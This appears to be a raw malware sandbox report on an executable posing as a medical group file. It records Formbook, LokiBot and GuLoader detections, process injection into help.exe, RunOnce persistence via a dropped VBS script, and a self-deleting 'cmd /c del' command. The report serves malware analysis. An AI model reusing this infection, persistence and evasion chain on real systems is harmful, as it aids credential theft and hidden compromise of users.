Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3DA3B0 NtGetContextThread,	22_2_1E3DA3B0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9820 NtEnumerateKey,	22_2_1E3D9820
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3DB040 NtSuspendThread,	22_2_1E3DB040
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D98A0 NtWriteVirtualMemory,	22_2_1E3D98A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D9950 NtQueueApcThread,	22_2_1E3D9950
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3D99D0 NtCreateProcessEx,	22_2_1E3D99D0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00566BBD NtProtectVirtualMemory,	22_2_00566BBD
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809A50 NtCreateFile,LdrInitializeThunk,	28_2_03809A50
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038099A0 NtCreateSection,LdrInitializeThunk,	28_2_038099A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809910 NtAdjustPrivilegesToken,LdrInitializeThunk,	28_2_03809910
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809840 NtDelayExecution,LdrInitializeThunk,	28_2_03809840
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809860 NtQuerySystemInformation,LdrInitializeThunk,	28_2_03809860
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809780 NtMapViewOfSection,LdrInitializeThunk,	28_2_03809780
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809FE0 NtCreateMutant,LdrInitializeThunk,	28_2_03809FE0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809710 NtQueryInformationToken,LdrInitializeThunk,	28_2_03809710
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038096D0 NtCreateKey,LdrInitializeThunk,	28_2_038096D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038096E0 NtFreeVirtualMemory,LdrInitializeThunk,	28_2_038096E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809650 NtQueryValueKey,LdrInitializeThunk,	28_2_03809650
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809660 NtAllocateVirtualMemory,LdrInitializeThunk,	28_2_03809660
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038095D0 NtClose,LdrInitializeThunk,	28_2_038095D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809540 NtReadFile,LdrInitializeThunk,	28_2_03809540
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380A3B0 NtGetContextThread,	28_2_0380A3B0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809B00 NtSetValueKey,	28_2_03809B00
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809A80 NtOpenDirectoryObject,	28_2_03809A80
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809A00 NtProtectVirtualMemory,	28_2_03809A00
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809A10 NtQuerySection,	28_2_03809A10
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809A20 NtResumeThread,	28_2_03809A20
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038099D0 NtCreateProcessEx,	28_2_038099D0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809950 NtQueueApcThread,	28_2_03809950
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038098A0 NtWriteVirtualMemory,	28_2_038098A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038098F0 NtReadVirtualMemory,	28_2_038098F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809820 NtEnumerateKey,	28_2_03809820
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380B040 NtSuspendThread,	28_2_0380B040
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038097A0 NtUnmapViewOfSection,	28_2_038097A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380A710 NtOpenProcessToken,	28_2_0380A710
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809730 NtQueryVirtualMemory,	28_2_03809730
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809760 NtOpenProcess,	28_2_03809760
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380A770 NtOpenThread,	28_2_0380A770
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809770 NtSetInformationFile,	28_2_03809770
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809610 NtEnumerateValueKey,	28_2_03809610
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809670 NtQueryInformationProcess,	28_2_03809670
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038095F0 NtQueryInformationFile,	28_2_038095F0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809520 NtWaitForSingleObject,	28_2_03809520
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0380AD30 NtSetContextThread,	28_2_0380AD30
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03809560 NtWriteFile,	28_2_03809560
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9EA0 NtClose,	28_2_02ED9EA0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9E20 NtReadFile,	28_2_02ED9E20
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9F50 NtAllocateVirtualMemory,	28_2_02ED9F50
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9D70 NtCreateFile,	28_2_02ED9D70
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9E9C NtClose,	28_2_02ED9E9C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED9F4A NtAllocateVirtualMemory,	28_2_02ED9F4A

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040663D	0_2_0040663D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040CAF0	0_2_0040CAF0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040912A	0_2_0040912A
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B6E30	22_2_1E3B6E30
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45D616	22_2_1E45D616
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E462EF7	22_2_1E462EF7
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46DFCE	22_2_1E46DFCE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E461FF1	22_2_1E461FF1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45D466	22_2_1E45D466
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3A841F	22_2_1E3A841F
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E461D55	22_2_1E461D55
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E390D20	22_2_1E390D20
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E462D07	22_2_1E462D07
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4625DD	22_2_1E4625DD
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C2581	22_2_1E3C2581
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AD5E0	22_2_1E3AD5E0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4622AE	22_2_1E4622AE
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E462B28	22_2_1E462B28
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3CEBB0	22_2_1E3CEBB0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E45DBD2	22_2_1E45DBD2
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4503DA	22_2_1E4503DA
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E451002	22_2_1E451002
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E46E824	22_2_1E46E824
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3C20A0	22_2_1E3C20A0
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3AB090	22_2_1E3AB090
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4628EC	22_2_1E4628EC
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E4620A8	22_2_1E4620A8
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3B4120	22_2_1E3B4120
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E39F900	22_2_1E39F900
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EAB40	28_2_037EAB40
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038803DA	28_2_038803DA
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388DBD2	28_2_0388DBD2
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03892B28	28_2_03892B28
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037FEBB0	28_2_037FEBB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038922AE	28_2_038922AE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0387FA2B	28_2_0387FA2B
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E4120	28_2_037E4120
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037CF900	28_2_037CF900
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038920A8	28_2_038920A8
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037EA830	28_2_037EA830
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038928EC	28_2_038928EC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03881002	28_2_03881002
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0389E824	28_2_0389E824
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F20A0	28_2_037F20A0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DB090	28_2_037DB090
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0389DFCE	28_2_0389DFCE
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03891FF1	28_2_03891FF1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037E6E30	28_2_037E6E30
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03892EF7	28_2_03892EF7
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388D616	28_2_0388D616
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_038925DD	28_2_038925DD
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037C0D20	28_2_037C0D20
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03892D07	28_2_03892D07
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037DD5E0	28_2_037DD5E0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_03891D55	28_2_03891D55
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037F2581	28_2_037F2581
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_037D841F	28_2_037D841F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0388D466	28_2_0388D466
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDE23F	28_2_02EDE23F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDD1F5	28_2_02EDD1F5
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EC9E40	28_2_02EC9E40
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDE61C	28_2_02EDE61C
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDCFB6	28_2_02EDCFB6
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EC2FB0	28_2_02EC2FB0
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDD5F1	28_2_02EDD5F1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EC2D90	28_2_02EC2D90

Source: C:\Windows\SysWOW64\help.exe	Code function: String function: 037CB150 appears 54 times
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: String function: 1E39B150 appears 45 times

Source: Sleaford Medical Group.exe, 00000000.00000002.458812048.0000000000419000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSEMICALCINED.exe vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe, 00000016.00000002.584862109.000000001DEF0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameCRYPT32.DLL.MUIj% vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe, 00000016.00000000.457893775.0000000000419000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameSEMICALCINED.exe vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe, 00000016.00000002.587041727.000000001E61F000.00000040.00000001.sdmp	Binary or memory string: OriginalFilenamentdll.dllj% vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe, 00000016.00000003.549281302.00000000008CD000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameHelp.Exej% vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe, 00000016.00000002.584793888.000000001DD80000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemswsock.dll.muij% vs Sleaford Medical Group.exe
Source: Sleaford Medical Group.exe	Binary or memory string: OriginalFilenameSEMICALCINED.exe vs Sleaford Medical Group.exe

Source: Sleaford Medical Group.exe

Static PE information: LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, RELOCS_STRIPPED

Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001C.00000002.731485750.0000000003530000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001C.00000002.731784931.0000000003560000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000016.00000002.551412840.00000000000A0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001C.00000002.731169512.000000000333D000.00000004.00000020.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 0000001C.00000002.736741312.0000000003CCF000.00000004.00000001.sdmp, type: MEMORY	Matched rule: LokiBot_Dropper_Packed_R11_Feb18 date = 2018-02-14, hash1 = 3b248d40fd7acb839cc592def1ed7652734e0e5ef93368be3c36c042883a3029, author = Florian Roth, description = Auto-generated rule - file scan copy.pdf.r11, reference = https://app.any.run/tasks/401df4d9-098b-4fd0-86e0-7a52ce6ddbf5, license = https://creativecommons.org/licenses/by-nc/4.0/
Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000016.00000002.584974843.000000001E150000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 0000001C.00000002.730784207.0000000002EC0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@10/2@3/2

Source: C:\Windows\System32\conhost.exe

Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4880:120:WilError_01

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

File created: C:\Users\user\AppData\Local\Temp\~DF2124B0C9C8814512.TMP

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs'

Source: Sleaford Medical Group.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	Section loaded: C:\Windows\SysWOW64\msvbvm60.dll			Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior

Source: Sleaford Medical Group.exe	Virustotal: Detection: 47%
Source: Sleaford Medical Group.exe	ReversingLabs: Detection: 10%

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

File read: C:\Users\user\Desktop\Sleaford Medical Group.exe

Jump to behavior

Source: unknown	Process created: C:\Users\user\Desktop\Sleaford Medical Group.exe 'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Source: unknown	Process created: C:\Users\user\Desktop\Sleaford Medical Group.exe 'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Source: unknown	Process created: C:\Windows\System32\wscript.exe 'C:\Windows\System32\WScript.exe' 'C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe
Source: unknown	Process created: C:\Windows\SysWOW64\help.exe C:\Windows\SysWOW64\help.exe
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Sleaford Medical Group.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process created: C:\Users\user\Desktop\Sleaford Medical Group.exe 'C:\Users\user\Desktop\Sleaford Medical Group.exe'	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process created: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\Desktop\Sleaford Medical Group.exe'	Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{20D04FE0-3AEA-1069-A2D8-08002B30309D}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source:	Binary string: wscui.pdbUGP source: explorer.exe, 00000018.00000000.528248843.000000000E1C0000.00000002.00000001.sdmp
Source:	Binary string: wntdll.pdbUGP source: Sleaford Medical Group.exe, 00000016.00000003.497880207.000000001E1D0000.00000004.00000001.sdmp, help.exe, 0000001C.00000002.734476074.00000000038BF000.00000040.00000001.sdmp
Source:	Binary string: wntdll.pdb source: Sleaford Medical Group.exe, help.exe
Source:	Binary string: help.pdbGCTL source: Sleaford Medical Group.exe, 00000016.00000002.558311091.00000000000D0000.00000040.00000001.sdmp
Source:	Binary string: help.pdb source: Sleaford Medical Group.exe, 00000016.00000002.558311091.00000000000D0000.00000040.00000001.sdmp
Source:	Binary string: wscui.pdb source: explorer.exe, 00000018.00000000.528248843.000000000E1C0000.00000002.00000001.sdmp

Data Obfuscation:

Yara detected GuLoader

Show sources

Source: Yara match	File source: Process Memory Space: Sleaford Medical Group.exe PID: 5356, type: MEMORY
Source: Yara match	File source: Process Memory Space: oversad.exe PID: 6316, type: MEMORY

Yara detected VB6 Downloader Generic

Show sources

Source: Yara match	File source: Process Memory Space: Sleaford Medical Group.exe PID: 5356, type: MEMORY
Source: Yara match	File source: Process Memory Space: oversad.exe PID: 6316, type: MEMORY

Source: Sleaford Medical Group.exe	Static PE information: real checksum: 0x1de61 should be: 0x2872b
Source: oversad.exe.22.dr	Static PE information: real checksum: 0x1de61 should be: 0x2872b

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040566B push 80B1BCC2h; iretd	0_2_00405671
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040C272 push eax; retf 0040h	0_2_0040C289
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_00402603 push 0000001Ch; ret	0_2_00402605
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040B41D push edi; iretd	0_2_0040B41E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_00402434 push esp; iretd	0_2_00402435
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040583C push eax; ret	0_2_0040583E
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040BCC5 push edi; iretd	0_2_0040BCC6
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040C28C pushad ; retf 0040h	0_2_0040C28D
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040857A push edi; ret	0_2_0040857F
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 0_2_0040C39C push 7C00700Ch; retf	0_2_0040C3A1
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_1E3ED0D1 push ecx; ret	22_2_1E3ED0E4
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Code function: 22_2_00563DA9 push 0000002Dh; retn 0008h	22_2_00563DC7
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_0381D0D1 push ecx; ret	28_2_0381D0E4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED6AAA push ebx; ret	28_2_02ED6ABC
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ECE3A1 push edi; retf	28_2_02ECE3C1
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDE35B push esi; ret	28_2_02EDE376
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED68DE push 79CB813Ch; retf	28_2_02ED68E4
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ED6999 push edx; ret	28_2_02ED699A
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDCEC5 push eax; ret	28_2_02EDCF18
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02ECDF98 push cs; ret	28_2_02ECDF9F
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDCF7C push eax; ret	28_2_02EDCF82
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDCF1B push eax; ret	28_2_02EDCF82
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EDCF12 push eax; ret	28_2_02EDCF18
Source: C:\Windows\SysWOW64\help.exe	Code function: 28_2_02EC6DA1 push ebp; retf	28_2_02EC6DA6

Persistence and Installation Behavior:

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe

File created: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe

Jump to dropped file

Boot Survival:

Creates autostart registry keys with suspicious values (likely registry only malware)

Show sources

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6 C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs			Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6 C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.vbs			Jump to behavior

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce Tolerances6	Jump to behavior

Hooking and other Techniques for Hiding and Protection:

Modifies the prolog of user mode functions (user mode inline hooks)

Show sources

Source: explorer.exe

User mode code has changed: module: user32.dll function: PeekMessageA new code: 0x48 0x8B 0xB8 0x81 0x1E 0xEB

Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Sleaford Medical Group.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Eftermiddages7\oversad.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\SysWOW64\help.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

